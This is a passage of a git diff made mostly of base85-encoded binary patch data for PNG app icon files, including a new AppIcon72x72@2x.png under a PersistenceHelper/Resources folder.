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 aI5z%+Z5Dp;CzooJq+he;=Vrph!~X$-VZD?9 literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon72x72@2x.png b/PersistenceHelper/Resources/AppIcon72x72@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..4dd5c31c1f60fab5659e2238e914af04dd77e9ce GIT binary patch literal 20541 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 